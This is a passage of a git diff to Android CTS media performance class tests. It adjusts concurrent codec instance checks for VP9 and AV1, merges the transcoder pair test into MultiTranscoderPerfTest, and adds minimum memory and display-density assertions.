+            mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
+            mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+
+            mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1280x720_3mbps_30fps_vp8.webm");
+            mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
+            mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
+        }
     }
 
     String mMime;
@@ -72,6 +82,7 @@
         mIsAsync = isAsync;
     }
 
+    // Returns the list of hardware codecs supporting the 720p 30fps format.
     public static ArrayList<String> getHardwareCodecsFor720p(String mime, boolean isEncoder) {
         MediaFormat fmt = MediaFormat.createVideoFormat(mime, 1280, 720);
         fmt.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
@@ -80,6 +91,8 @@
         return selectHardwareCodecs(mime, formatsList, null, isEncoder);
     }
 
+    // Returns the max number of 720p 30 fps instances that the given list of mimeCodecPairs
+    // supports. It also checks that the each codec supports 720p 180 fps PerformancePoint.
     public int checkAndGetMaxSupportedInstancesFor720p(
             ArrayList<Pair<String, String>> mimeCodecPairs) throws IOException {
         int[] maxInstances = new int[mimeCodecPairs.size()];
@@ -92,13 +105,21 @@
                     .getCapabilitiesForType(mimeCodecPair.first);
             List<PerformancePoint> pps = cap.getVideoCapabilities().getSupportedPerformancePoints();
             assertTrue(pps.size() > 0);
+
+            int requiredFrameRate = 180;
+            // VP9 requires 60 fps at 720p and minimum of 2 instances
+            if (mimeCodecPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+                requiredFrameRate = 60;
+            }
+
             maxInstances[loopCount] = cap.getMaxSupportedInstances();
-            PerformancePoint PP720p = new PerformancePoint(1280, 720, 180);
+            PerformancePoint PP720p = new PerformancePoint(1280, 720, requiredFrameRate);
+
             maxMacroBlockRates[loopCount] = 0;
-            boolean supports720p180Performance = false;
+            boolean supports720pPerformance = false;
             for (PerformancePoint pp : pps) {
-                if(pp.covers(PP720p)) {
-                    supports720p180Performance = true;
+                if (pp.covers(PP720p)) {
+                    supports720pPerformance = true;
                     if (pp.getMaxMacroBlockRate() > maxMacroBlockRates[loopCount]) {
                         maxMacroBlockRates[loopCount] = (int) pp.getMaxMacroBlockRate();
                         maxFrameRates[loopCount] = pp.getMaxFrameRate();
@@ -106,8 +127,8 @@
                 }
             }
             codec.release();
-            assertTrue("Codec " + mimeCodecPair.second + " doesn't support 720p 180 " +
-                    "performance point", supports720p180Performance);
+            assertTrue("Codec " + mimeCodecPair.second + " doesn't support 720p " +
+                    requiredFrameRate + " performance point", supports720pPerformance);
             loopCount++;
         }
         Arrays.sort(maxInstances);
@@ -116,7 +137,10 @@
         int minOfMaxInstances = maxInstances[0];
         int minOfMaxFrameRates = maxFrameRates[0];
         int minOfMaxMacroBlockRates = maxMacroBlockRates[0];
-        mMaxFrameRate = minOfMaxFrameRates;
+
+        // Allow a tolerance in expected frame rate
+        mMaxFrameRate = minOfMaxFrameRates * FPS_TOLERANCE_FACTOR;
+
         // Calculate how many 720p 30fps max instances it can support from it's mMaxFrameRate
         // amd maxMacroBlockRate. (720p is 3,600 macro blocks assuming 16x16 macroblocks)
         return Math.min(minOfMaxInstances, Math.min((int) (minOfMaxFrameRates / 30.0),
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index 6d6d003..ddb7451 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -33,6 +33,14 @@
 
 import static org.junit.Assert.assertTrue;
 
+/**
+ * The following test class calculates the maximum number of concurrent decode sessions that it can
+ * support by the two hardware (mime - decoder) pair calculated via the
+ * CodecCapabilities.getMaxSupportedInstances() and
+ * VideoCapabilities.getSupportedPerformancePoints() methods. Splits the maximum supported instances
+ * between the two pairs and ensures that all the supported sessions succeed in decoding
+ * with meeting the expected frame rate.
+ */
 @RunWith(Parameterized.class)
 public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiDecoderPairPerfTest.class.getSimpleName();
@@ -47,9 +55,11 @@
         mSecondPair = secondPair;
     }
 
+    // Returns the list of params with two hardware (mime - decoder) pairs in both
+    // sync and async modes.
+    // Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime DecoderName)_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the supported Hardware decoders in the device
         final List<Object[]> argsList = new ArrayList<>();
         ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
@@ -70,6 +80,12 @@
         return argsList;
     }
 
+    /**
+     * This test calculates the number of 720p 30 fps decoder instances that the given two
+     * (mime - decoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in decoding with meeting the expected frame rate.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void test720p() throws Exception {
@@ -95,6 +111,7 @@
             achievedFrameRate += result.get();
         }
         assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                + "/" + mMaxFrameRate, achievedFrameRate >= mMaxFrameRate);
+                + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
+                achievedFrameRate >= mMaxFrameRate);
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index dbaca7b..4647719 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -15,7 +15,7 @@
  */
 
 package android.mediapc.cts;
-
+import android.media.MediaFormat;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
@@ -33,6 +33,12 @@
 
 import static org.junit.Assert.assertTrue;
 
+/**
+ * The following test class validates the maximum number of concurrent decode sessions that it can
+ * support by the hardware decoders calculated via the CodecCapabilities.getMaxSupportedInstances()
+ * and VideoCapabilities.getSupportedPerformancePoints() methods. And also ensures that the maximum
+ * supported sessions succeed in decoding with meeting the expected frame rate.
+ */
 @RunWith(Parameterized.class)
 public class MultiDecoderPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiDecoderPerfTest.class.getSimpleName();
@@ -45,9 +51,11 @@
         mDecoderName = decoderName;
     }
 
+    // Returns the params list with the mime, testFile and their hardware decoders in
+    // both sync and async modes.
+    // Parameters {0}_{2}_{3} -- Mime_DecoderName_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{2}_{3})")
     public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the supported Hardware decoders in the device
         final List<Object[]> argsList = new ArrayList<>();
         for (String mime : mMimeList) {
             ArrayList<String> listOfDecoders = getHardwareCodecsFor720p(mime, false);
@@ -60,15 +68,24 @@
         return argsList;
     }
 
+    /**
+     * This test validates that the decoder can support at least 6 concurrent 720p 30fps
+     * decoder instances. Also ensures that all the concurrent sessions succeed in decoding
+     * with meeting the expected frame rate.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void test720p() throws Exception {
         ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
         mimeDecoderPairs.add(Pair.create(mMime, mDecoderName));
         int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeDecoderPairs);
+        int requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES;
+        if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
+        }
         assertTrue("Decoder " + mDecoderName + " unable to support minimum concurrent " +
-                "instances. act/exp: " + maxInstances + "/" + REQUIRED_MIN_CONCURRENT_INSTANCES,
-                maxInstances >= REQUIRED_MIN_CONCURRENT_INSTANCES);
+                "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
+                maxInstances >= requiredMinInstances);
         ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
         List<Decode> testList = new ArrayList<>();
         for (int i = 0; i < maxInstances; i++) {
@@ -80,6 +97,7 @@
             achievedFrameRate += result.get();
         }
         assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                + "/" + mMaxFrameRate, achievedFrameRate >= mMaxFrameRate);
+                + "/" + mMaxFrameRate + " for " + maxInstances + " instances.",
+                achievedFrameRate >= mMaxFrameRate);
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
index d732c82..0ef9f26 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPairPerfTest.java
@@ -31,6 +31,14 @@
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
 
+/**
+ * The following test class calculates the maximum number of concurrent encode sessions that it can
+ * support by the two hardware (mime - encoder) pair calculated via the
+ * CodecCapabilities.getMaxSupportedInstances() and
+ * VideoCapabilities.getSupportedPerformancePoints() methods. Splits the maximum supported instances
+ * between the two pairs and ensures that all the supported sessions succeed in encoding.
+ * Achieved frame rate is not compared as this test runs in byte buffer mode.
+ */
 @RunWith(Parameterized.class)
 public class MultiEncoderPairPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiEncoderPairPerfTest.class.getSimpleName();
@@ -45,9 +53,11 @@
         mSecondPair = secondPair;
     }
 
+    // Returns the list of params with two hardware (mime - encoder) pairs in both
+    // sync and async modes.
+    // Parameters {0}_{1}_{2} -- Pair(Mime EncoderName)_Pair(Mime EncoderName)_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the supported Hardware encoders in the device
         final List<Object[]> argsList = new ArrayList<>();
         ArrayList<Pair<String, String>> mimeTypeEncoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
@@ -68,6 +78,12 @@
         return argsList;
     }
 
+    /**
+     * This test calculates the number of 720p 30 fps encoder instances that the given two
+     * (mime - encoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in encoding.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void test720p() throws Exception {
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
index 8fb78b7..969dc19 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiEncoderPerfTest.java
@@ -15,7 +15,7 @@
  */
 
 package android.mediapc.cts;
-
+import android.media.MediaFormat;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
@@ -33,6 +33,13 @@
 
 import static org.junit.Assert.assertTrue;
 
+/**
+ * The following test class validates the maximum number of concurrent encode sessions that it can
+ * support by the hardware encoders calculated via the CodecCapabilities.getMaxSupportedInstances()
+ * and VideoCapabilities.getSupportedPerformancePoints() methods. And also ensures that the maximum
+ * supported sessions succeed in encoding.
+ * Achieved frame rate is not compared as this test runs in byte buffer mode.
+ */
 @RunWith(Parameterized.class)
 public class MultiEncoderPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiEncoderPerfTest.class.getSimpleName();
@@ -44,9 +51,11 @@
         mEncoderName = encoderName;
     }
 
+    // Returns the params list with the mime and their hardware encoders in
+    // both sync and async modes.
+    // Parameters {0}_{2}_{3} -- Mime_EncoderName_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the supported Hardware encoders in the device
         final List<Object[]> argsList = new ArrayList<>();
         for (String mime : mMimeList) {
             ArrayList<String> listOfEncoders = getHardwareCodecsFor720p(mime, true);
@@ -59,15 +68,23 @@
         return argsList;
     }
 
+    /**
+     * This test validates that the encoder can support at least 6 concurrent 720p 30fps
+     * encoder instances. Also ensures that all the concurrent sessions succeed in encoding.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void test720p() throws Exception {
         ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
         mimeEncoderPairs.add(Pair.create(mMime, mEncoderName));
         int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeEncoderPairs);
+        int requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES;
+        if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
+        }
         assertTrue("Encoder " + mEncoderName + " unable to support minimum concurrent " +
-                "instances. act/exp: " + maxInstances + "/" + REQUIRED_MIN_CONCURRENT_INSTANCES,
-                maxInstances >= REQUIRED_MIN_CONCURRENT_INSTANCES);
+                "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
+                maxInstances >= requiredMinInstances);
         ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
         List<Encode> testList = new ArrayList<>();
         for (int i = 0; i < maxInstances; i++) {
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPairPerfTest.java
deleted file mode 100644
index a5585d0..0000000
--- a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPairPerfTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import android.util.Pair;
-import android.view.Surface;
-
-import androidx.test.filters.LargeTest;
-import androidx.test.rule.ActivityTestRule;
-
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.List;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-
-import static org.junit.Assert.assertTrue;
-
-@RunWith(Parameterized.class)
-public class MultiTranscoderPairPerfTest extends MultiCodecPerfTestBase {
-    private static final String LOG_TAG = MultiTranscoderPairPerfTest.class.getSimpleName();
-
-    private final Pair<String, String> mDecoderPair;
-    private final Pair<String, String> mEncoderPair;
-
-    @Rule
-    public ActivityTestRule<TestActivity> mActivityRule =
-            new ActivityTestRule<>(TestActivity.class);
-
-
-    public MultiTranscoderPairPerfTest(Pair<String, String> decoderPair,
-            Pair<String, String> encoderPair, boolean isAsync) {
-        super(null, null, isAsync);
-        mDecoderPair = decoderPair;
-        mEncoderPair = encoderPair;
-    }
-
-    @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
-    public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the supported Hardware decoders/encoders in the device
-        final List<Object[]> argsList = new ArrayList<>();
-        ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
-        ArrayList<Pair<String, String>> mimeTypeEncoderPairs = new ArrayList<>();
-        for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsFor720p(mime, false);
-            for (String decoder : listOfDecoders) {
-                mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
-            }
-            ArrayList<String> listOfEncoders = getHardwareCodecsFor720p(mime, true);
-            for (String encoder : listOfEncoders) {
-                mimeTypeEncoderPairs.add(Pair.create(mime, encoder));
-            }
-        }
-        for (Pair<String, String> mimeTypeDecoderPair : mimeTypeDecoderPairs) {
-            for (Pair<String, String> mimeTypeEncoderPair : mimeTypeEncoderPairs) {
-                for (boolean isAsync : boolStates) {
-                    argsList.add(new Object[]{mimeTypeDecoderPair, mimeTypeEncoderPair, isAsync});
-                }
-            }
-        }
-        return argsList;
-    }
-
-    @LargeTest
-    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void test720p() throws Exception {
-        ArrayList<Pair<String, String>> mimeCodecPairs = new ArrayList<>();
-        mimeCodecPairs.add(mDecoderPair);
-        mimeCodecPairs.add(mEncoderPair);
-        int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeCodecPairs);
-        ExecutorService pool = Executors.newFixedThreadPool(maxInstances / 2 + maxInstances % 2);
-        List<Transcode> transcodeList = new ArrayList<>();
-        for (int i = 0; i < maxInstances / 2 ; i++) {
-            transcodeList.add(new Transcode(mEncoderPair.first, mTestFiles.get(mDecoderPair.first),
-                    mDecoderPair.second, mEncoderPair.second, mIsAsync));
-        }
-        double achievedFrameRate = 0.0;
-        if (maxInstances % 2 == 1) {
-            List<DecodeToSurface> decodeList = new ArrayList<>();
-            mActivityRule.getActivity().waitTillSurfaceIsCreated();
-            Surface surface = mActivityRule.getActivity().getSurface();
-            assertTrue("Surface created is null.", surface != null);
-            assertTrue("Surface created is invalid.", surface.isValid());
-            mActivityRule.getActivity().setScreenParams(1280, 720, true);
-            decodeList.add(new DecodeToSurface(mDecoderPair.first,
-                    mTestFiles.get(mDecoderPair.first), mDecoderPair.second, surface, mIsAsync));
-            List<Future<Double>> decodeResultList = pool.invokeAll(decodeList);
-            for (Future<Double> result : decodeResultList) {
-                achievedFrameRate += result.get();
-            }
-        }
-        List<Future<Double>> transcodeResultList = pool.invokeAll(transcodeList);
-        for (Future<Double> result : transcodeResultList) {
-            achievedFrameRate += result.get();
-        }
-        assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                + "/" + mMaxFrameRate / 2, achievedFrameRate >= mMaxFrameRate / 2);
-    }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
index b63e22d..4854853 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
@@ -15,11 +15,14 @@
  */
 
 package android.mediapc.cts;
-
+import android.media.MediaFormat;
 import android.util.Pair;
+import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
 
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -33,61 +36,112 @@
 
 import static org.junit.Assert.assertTrue;
 
+/**
+ * The following test class validates the maximum number of concurrent Transcode sessions that
+ * it can support by the (mime, decoder - mime, encoder) pair calculated via the
+ * CodecCapabilities.getMaxSupportedInstances() and
+ * VideoCapabilities.getSupportedPerformancePoints() methods. If maximum instances is odd, create
+ * one additional decoder which decodes to surface and render. Also ensures that all the supported
+ * sessions succeed in transcoding/decoding with meeting the expected frame rate.
+ */
 @RunWith(Parameterized.class)
 public class MultiTranscoderPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiTranscoderPerfTest.class.getSimpleName();
 
-    private final String mDecoderName;
-    private final String mEncoderName;
+    private final Pair<String, String> mDecoderPair;
+    private final Pair<String, String> mEncoderPair;
 
-    public MultiTranscoderPerfTest(String mimeType, String testFile, String decoderName,
-            String encoderName, boolean isAsync) {
-        super(mimeType, testFile,isAsync);
-        mDecoderName = decoderName;
-        mEncoderName = encoderName;
+    @Rule
+    public ActivityTestRule<TestActivity> mActivityRule =
+            new ActivityTestRule<>(TestActivity.class);
+
+    public MultiTranscoderPerfTest(Pair<String, String> decoderPair,
+            Pair<String, String> encoderPair, boolean isAsync) {
+        super(null, null, isAsync);
+        mDecoderPair = decoderPair;
+        mEncoderPair = encoderPair;
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{2}_{3}_{4})")
+    // Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime EncoderName)_isAsync
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
         // Prepares the params list with the supported Hardware decoders/encoders in the device
         final List<Object[]> argsList = new ArrayList<>();
+        ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
+        ArrayList<Pair<String, String>> mimeTypeEncoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
             ArrayList<String> listOfDecoders = getHardwareCodecsFor720p(mime, false);
-            ArrayList<String> listOfEncoders = getHardwareCodecsFor720p(mime, true);
             for (String decoder : listOfDecoders) {
-                for (String encoder : listOfEncoders) {
-                    for (boolean isAsync : boolStates) {
-                        argsList.add(new Object[]{mime, mTestFiles.get(mime), decoder, encoder,
-                                isAsync});
-                    }
+                mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
+            }
+            ArrayList<String> listOfEncoders = getHardwareCodecsFor720p(mime, true);
+            for (String encoder : listOfEncoders) {
+                mimeTypeEncoderPairs.add(Pair.create(mime, encoder));
+            }
+        }
+        for (Pair<String, String> mimeTypeDecoderPair : mimeTypeDecoderPairs) {
+            for (Pair<String, String> mimeTypeEncoderPair : mimeTypeEncoderPairs) {
+                for (boolean isAsync : boolStates) {
+                    argsList.add(new Object[]{mimeTypeDecoderPair, mimeTypeEncoderPair, isAsync});
                 }
             }
         }
         return argsList;
     }
 
+    /**
+     * This test calculates the validates number of concurrent Transcode sessions that
+     * it can support by the (mime, decoder - mime, encoder) pairs. Creates maxInstances / 2
+     * Transcode sessions. If maximum instances is odd, creates one additional decoder which decodes
+     * to surface and render. And ensures that all the supported sessions succeed in
+     * transcoding/decoding with meeting the expected frame rate.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void test720p() throws Exception {
         ArrayList<Pair<String, String>> mimeCodecPairs = new ArrayList<>();
-        mimeCodecPairs.add(Pair.create(mMime, mDecoderName));
-        mimeCodecPairs.add(Pair.create(mMime, mEncoderName));
+        mimeCodecPairs.add(mDecoderPair);
+        mimeCodecPairs.add(mEncoderPair);
         int maxInstances = checkAndGetMaxSupportedInstancesFor720p(mimeCodecPairs);
-        assertTrue("Decoder " + mDecoderName + " ,Encoder " + mEncoderName +
-                " unable to support minimum concurrent instances. act/exp: " + maxInstances + "/" +
-                (REQUIRED_MIN_CONCURRENT_INSTANCES / 2),
-                maxInstances >= (REQUIRED_MIN_CONCURRENT_INSTANCES / 2));
-        ExecutorService pool = Executors.newFixedThreadPool(maxInstances / 2);
-        List<Transcode> testList = new ArrayList<>();
-        for (int i = 0; i < maxInstances / 2; i++) {
-            testList.add(new Transcode(mMime, mTestFile, mDecoderName, mEncoderName, mIsAsync));
+        int requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES / 2;
+        if (mDecoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)
+                || mEncoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            requiredMinInstances = REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 / 2;
         }
-        List<Future<Double>> resultList = pool.invokeAll(testList);
+        assertTrue("DecodeMime: " + mDecoderPair.first + ", Decoder " + mDecoderPair.second +
+                ", EncodeMime: " + mEncoderPair.first + ", Encoder: " + mEncoderPair.second +
+                ", unable to support minimum concurrent instances. act/exp: " + maxInstances +
+                "/" + requiredMinInstances, maxInstances >= requiredMinInstances);
+        ExecutorService pool = Executors.newFixedThreadPool(maxInstances / 2 + maxInstances % 2);
+        List<Transcode> transcodeList = new ArrayList<>();
+        for (int i = 0; i < maxInstances / 2 ; i++) {
+            transcodeList.add(new Transcode(mEncoderPair.first, mTestFiles.get(mDecoderPair.first),
+                    mDecoderPair.second, mEncoderPair.second, mIsAsync));
+        }
         double achievedFrameRate = 0.0;
-        for (Future<Double> result : resultList) {
+        List<Future<Double>> decodeResultList = null;
+        if (maxInstances % 2 == 1) {
+            List<DecodeToSurface> decodeList = new ArrayList<>();
+            mActivityRule.getActivity().waitTillSurfaceIsCreated();
+            Surface surface = mActivityRule.getActivity().getSurface();
+            assertTrue("Surface created is null.", surface != null);
+            assertTrue("Surface created is invalid.", surface.isValid());
+            mActivityRule.getActivity().setScreenParams(1280, 720, true);
+            decodeList.add(new DecodeToSurface(mDecoderPair.first,
+                    mTestFiles.get(mDecoderPair.first), mDecoderPair.second, surface, mIsAsync));
+            decodeResultList = pool.invokeAll(decodeList);
+        }
+        List<Future<Double>> transcodeResultList = pool.invokeAll(transcodeList);
+        for (Future<Double> result : transcodeResultList) {
             achievedFrameRate += result.get();
         }
+        if (decodeResultList != null) {
+            for (Future<Double> result : decodeResultList) {
+                achievedFrameRate += result.get();
+            }
+        }
         assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                + "/" + mMaxFrameRate / 2, achievedFrameRate >= mMaxFrameRate / 2);
+                + "/" + mMaxFrameRate / 2 + " for " + maxInstances + " instances.",
+                achievedFrameRate >= mMaxFrameRate / 2);
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index 8e440b4..e493dcd 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -16,7 +16,14 @@
 
 package android.mediapc.cts;
 
+import static android.util.DisplayMetrics.DENSITY_400;
+
+import android.app.ActivityManager;
+import android.content.Context;
 import android.content.pm.PackageManager;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.WindowManager;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -32,6 +39,8 @@
  * Tests the basic aspects of the media performance class.
  */
 public class PerformanceClassTest {
+    private static final String TAG = "PerformanceClassTest";
+
     private boolean isHandheld() {
         // handheld nature is not exposed to package manager, for now
         // we check for touchscreen and NOT watch and NOT tv
@@ -55,5 +64,61 @@
                        isHandheld());
         }
     }
-}
 
+    @Test
+    public void testMinimumMemory() {
+
+        if (Utils.isSPerfClass()) {
+            Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+            // Verify minimum screen density and resolution
+            assertMinDpiAndPixels(context, DENSITY_400, 1920, 1080);
+            // Verify minimum memory
+            assertMinMemoryMb(context, 6 * 1024);
+        }
+    }
+
+    /** Asserts that the given values conform to the specs in CDD */
+    private void assertMinDpiAndPixels(Context context, int minDpi, int minLong, int minShort) {
+        // Verify display DPI. We only seem to be able to get the primary display.
+        DisplayMetrics metrics = new DisplayMetrics();
+        WindowManager windowManager =
+            (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
+        windowManager.getDefaultDisplay().getMetrics(metrics);
+        int density = metrics.densityDpi;
+        int longPix = Math.max(metrics.widthPixels, metrics.heightPixels);
+        int shortPix = Math.min(metrics.widthPixels, metrics.heightPixels);
+
+        Log.i(TAG, String.format("minDpi=%d minSize=%dx%dpix", minDpi, minLong, minShort));
+        Log.i(TAG, String.format("dpi=%d size=%dx%dpix", density, longPix, shortPix));
+
+        assertTrue("Display density " + density + " must be at least " + minDpi + "dpi",
+                   density >= minDpi);
+        assertTrue("Display resolution " + longPix + "x" + shortPix + "pix must be at least " +
+                   minLong + "x" + minShort + "pix",
+                   longPix >= minLong && shortPix >= minShort);
+    }
+
+    /** Asserts that the given values conform to the specs in CDD 7.6.1 */
+    private void assertMinMemoryMb(Context context, long minMb) {
+        ActivityManager activityManager =
+                    (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+        long totalMemoryMb = getTotalMemory(activityManager) / 1024 / 1024;
+
+        Log.i(TAG, String.format("minMb=%,d", minMb));
+        Log.i(TAG, String.format("totalMemoryMb=%,d", totalMemoryMb));
+
+        assertTrue(String.format("Does not meet minimum memory requirements (CDD 7.6.1)."
+                + "Found = %d, Minimum = %d", totalMemoryMb, minMb), totalMemoryMb >= minMb);
+    }
+
+    /**
+     * @return the total memory accessible by the kernel as defined by
+     * {@code ActivityManager.MemoryInfo}.
+     */
+    private long getTotalMemory(ActivityManager activityManager) {
+        ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
+        activityManager.getMemoryInfo(memoryInfo);
+        return memoryInfo.totalMem;
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/PlaybackFrameDrop.java b/tests/mediapc/src/android/mediapc/cts/PlaybackFrameDrop.java
new file mode 100644
index 0000000..a37f34f
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/PlaybackFrameDrop.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
